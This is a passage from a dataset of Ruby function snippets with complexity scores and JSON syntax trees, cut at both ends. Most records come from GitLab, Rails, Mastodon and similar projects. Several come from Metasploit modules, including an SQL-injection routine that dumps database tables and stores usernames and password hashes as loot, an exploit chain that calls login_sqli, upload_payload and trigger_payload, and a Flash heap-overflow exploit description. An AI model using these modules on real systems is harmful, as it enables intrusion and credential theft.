end","complexity_score":44.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_banner\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"modem\"]},{\"type\":\"arg\",\"children\":[\"timeout\"]},{\"type\":\"arg\",\"children\":[\"nudgestring\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Grabbing banner...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"banner\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"gotchar\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gotchar\"]},\"+\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nudgestring\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Nudging...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modem\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"nudgestring\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"gotchar\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modem\"]},\"getc\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"!\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"gotchar\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@displaymodem\"]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"chr\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modem\"]},\"dcd\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"banner\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"chr\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@displaymodem\"]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]}]}]}]}","id":"db99b7ae-3a7e-4d2d-b018-5c19c94078d3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/job_artifacts/create_service.rb","start_line":71,"raw_source":"def too_large?(type, size)\n size > max_size(type) if size\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"too_large?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"size\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\">\",{\"type\":\"send\",\"children\":[null,\"max_size\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},null]}]}","id":"0da2bf02-f447-463e-9a25-8294acf00981"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/locking_test.rb","start_line":673,"raw_source":"def add_counter_column_to(model, col = \"test_count\")\n model.lease_connection.add_column model.table_name, col, :integer, null: false, default: 0\n model.reset_column_information\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_counter_column_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"optarg\",\"children\":[\"col\",{\"type\":\"str\",\"children\":[\"test_count\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"lease_connection\"]},\"add_column\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"col\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"reset_column_information\"]}]}]}","id":"a3bea837-347d-4408-bb02-b64fdb370d43"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/sqli/dlink/dlink_central_wifimanager_sqli.rb","start_line":92,"raw_source":"def dump_data(sqli)\n print_good \"DBMS version: #{sqli.version}\"\n table_names = sqli.enum_table_names\n print_status 'Enumerating tables'\n table_names.each do |table_name|\n cols = sqli.enum_table_columns(table_name)\n vprint_good \"#{table_name}(#{cols.join(',')})\"\n # retrieve the data from the table\n content = sqli.dump_table_fields(table_name, cols)\n # store hashes as credentials\n if table_name == 'usertable'\n user_ind = cols.index('username')\n pass_ind = cols.index('userpassword')\n content.each do |entry|\n create_credential(\n {\n module_fullname: fullname,\n workspace_id: myworkspace_id,\n username: entry[user_ind],\n private_data: entry[pass_ind],\n jtr_format: 'raw-md5',\n private_type: :nonreplayable_hash,\n status: Metasploit::Model::Login::Status::UNTRIED\n }.merge(service_details)\n )\n print_good \"Saved credentials for #{entry[user_ind]}\"\n end\n end\n path = store_loot(\n 'dlink.http',\n 'application/csv',\n rhost,\n cols.to_csv + content.map(&:to_csv).join,\n \"#{table_name}.csv\"\n )\n print_good \"#{table_name} saved to #{path}\"\n end\n end","complexity_score":55.6,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sqli\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DBMS version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sqli\"]},\"version\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"table_names\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sqli\"]},\"enum_table_names\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Enumerating tables\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cols\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sqli\"]},\"enum_table_columns\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cols\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sqli\"]},\"dump_table_fields\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"cols\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"usertable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_ind\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cols\"]},\"index\",{\"type\":\"str\",\"children\":[\"username\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pass_ind\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cols\"]},\"index\",{\"type\":\"str\",\"children\":[\"userpassword\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"user_ind\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"pass_ind\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jtr_format\"]},{\"type\":\"str\",\"children\":[\"raw-md5\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"service_details\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Saved credentials for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"user_ind\"]}]}]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"dlink.http\"]},{\"type\":\"str\",\"children\":[\"application/csv\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cols\"]},\"to_csv\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_csv\"]}]}]},\"join\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".csv\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" saved to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}]}]}","id":"92a1717d-2e03-4821-b042-b1bf99c959c0"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/preview_markdown_service.rb","start_line":44,"raw_source":"def find_suggestions(text)\n return [] unless preview_sugestions?\n\n position = Gitlab::Diff::Position.new(new_path: params[:file_path],\n new_line: params[:line].to_i,\n base_sha: params[:base_sha],\n head_sha: params[:head_sha],\n start_sha: params[:start_sha])\n\n Gitlab::Diff::SuggestionsParser.parse(text, position: position,\n project: project,\n supports_suggestion: params[:preview_suggestions])\n end","complexity_score":23.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_suggestions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preview_sugestions?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"position\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Diff\"]},\"Position\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"line\"]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"base_sha\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"head_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"head_sha\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start_sha\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Diff\"]},\"SuggestionsParser\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"lvar\",\"children\":[\"position\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"supports_suggestion\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"preview_suggestions\"]}]}]}]}]}]}]}","id":"379be88b-921e-46cd-b7d5-307f981f7eea"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/stack.rb","start_line":161,"raw_source":"def use(klass, *args, &block)\n middlewares.push(build_middleware(klass, args, block))\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"use\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"middlewares\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"build_middleware\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"800870c4-32da-49a2-8518-80e9b0bead20"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb","start_line":192,"raw_source":"def exploit\n login_sqli\n upload_payload\n trigger_payload\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"login_sqli\"]},{\"type\":\"send\",\"children\":[null,\"upload_payload\"]},{\"type\":\"send\",\"children\":[null,\"trigger_payload\"]}]}]}","id":"9a42c2c0-c54f-4a54-ad49-7237acb93f8d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/smb/smb_enumshares.rb","start_line":85,"raw_source":"def rport\n @rport || datastore['RPORT']\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"rport\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rport\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]}]}","id":"08bbe975-4ad0-4dd9-bf45-7ec3f2dd1e66"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/accounts_controller.rb","start_line":147,"raw_source":"def require_remote_account!\n redirect_to admin_account_path(@account.id) if @account.local?\n end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"require_remote_account!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"local?\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_account_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"id\"]}]}]},null]}]}","id":"97c88525-1abe-4f0e-9287-4e425444bbdf"} {"repo_name":"spree","file_path":"./repos/spree/core/app/validators/spree/url_validator.rb","start_line":3,"raw_source":"def validate_each(record, attribute, value)\n unless url_valid?(value)\n record.errors.add(attribute, (options[:message] || ERROR_MESSAGE))\n end\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_valid?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]},{\"type\":\"const\",\"children\":[null,\"ERROR_MESSAGE\"]}]}]}]}]}]}","id":"7ebc03f9-84a0-436e-badc-eb417a4d23f9"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/note_serializer.rb","start_line":267,"raw_source":"def name\n object.description\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"description\"]}]}","id":"5c076f16-10af-4e47-8b0a-6eeed45b62f8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket_server/representation/activity.rb","start_line":80,"raw_source":"def decliner_name\n raw.dig('user', 'displayName')\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"decliner_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"dig\",{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"displayName\"]}]}]}","id":"c738fddd-2a55-4d57-bec3-964530610e08"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-gamification/db/migrate/20220331203401_add_groups_to_leaderboards.rb","start_line":3,"raw_source":"def change\n add_column :gamification_leaderboards,\n :visible_to_groups_ids,\n :integer,\n array: true,\n null: false,\n default: []\n add_column :gamification_leaderboards,\n :included_groups_ids,\n :integer,\n array: true,\n null: false,\n default: []\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"gamification_leaderboards\"]},{\"type\":\"sym\",\"children\":[\"visible_to_groups_ids\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"gamification_leaderboards\"]},{\"type\":\"sym\",\"children\":[\"included_groups_ids\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}","id":"4e4c3f50-666a-480d-898a-f49f7718bbcb"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/smb/check_dir_file.rb","start_line":19,"raw_source":"def initialize\n super(\n 'Name' => 'SMB Scanner Check File/Directory Utility',\n 'Description' => %(\n This module is useful when checking an entire network\n of SMB hosts for the presence of a known file or directory.\n An example would be to scan all systems for the presence of\n antivirus or known malware outbreak. Typically you must set\n RPATH, SMBUser, SMBDomain and SMBPass to operate correctly.\n ),\n 'Author' => [\n 'aushack',\n 'j0hn__f'\n ],\n 'References' => [\n ],\n 'License' => MSF_LICENSE,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [IOC_IN_LOGS],\n 'Reliability' => []\n }\n )\n\n register_options([\n OptString.new('SMBSHARE', [true, 'The name of an accessible share on the server', 'C$']),\n OptString.new('RPATH', [true, 'The name of the remote file/directory relative to the share'])\n ])\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SMB Scanner Check File/Directory Utility\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module is useful when checking an entire network\\n\"]},{\"type\":\"str\",\"children\":[\" of SMB hosts for the presence of a known file or directory.\\n\"]},{\"type\":\"str\",\"children\":[\" An example would be to scan all systems for the presence of\\n\"]},{\"type\":\"str\",\"children\":[\" antivirus or known malware outbreak. Typically you must set\\n\"]},{\"type\":\"str\",\"children\":[\" RPATH, SMBUser, SMBDomain and SMBPass to operate correctly.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"aushack\"]},{\"type\":\"str\",\"children\":[\"j0hn__f\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SMBSHARE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of an accessible share on the server\"]},{\"type\":\"str\",\"children\":[\"C$\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"RPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the remote file/directory relative to the share\"]}]}]}]}]}]}]}","id":"560c9db1-baee-4e4d-88af-75b861cfc4e8"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/engine/configuration.rb","start_line":115,"raw_source":"def root=(value)\n @root = paths.path = Pathname.new(value).expand_path\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"root=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@root\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"paths\"]},\"path=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"expand_path\"]}]}]}]}","id":"7d30afaf-08ea-4a09-be12-9cae90c2a88f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/merge_request.rb","start_line":203,"raw_source":"def approve\n api_post_to(api_approve_path, {})\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"approve\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"api_post_to\",{\"type\":\"send\",\"children\":[null,\"api_approve_path\"]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"e2d90aaf-ed56-4cfe-87a9-29d01bf58a37"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_flash_regex_value.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => \"Adobe Flash Player Regular Expression Heap Overflow\",\n 'Description' => %q{\n This module exploits a vulnerability found in the ActiveX component of Adobe\n Flash Player before 11.5.502.149. By supplying a specially crafted swf file\n with special regex value, it is possible to trigger a memory corruption, which\n results in remote code execution under the context of the user, as exploited in\n the wild in February 2013. This module has been tested successfully with Adobe\n Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before\n MS13-063, since it takes advantage of a predictable SharedUserData in order to\n leak 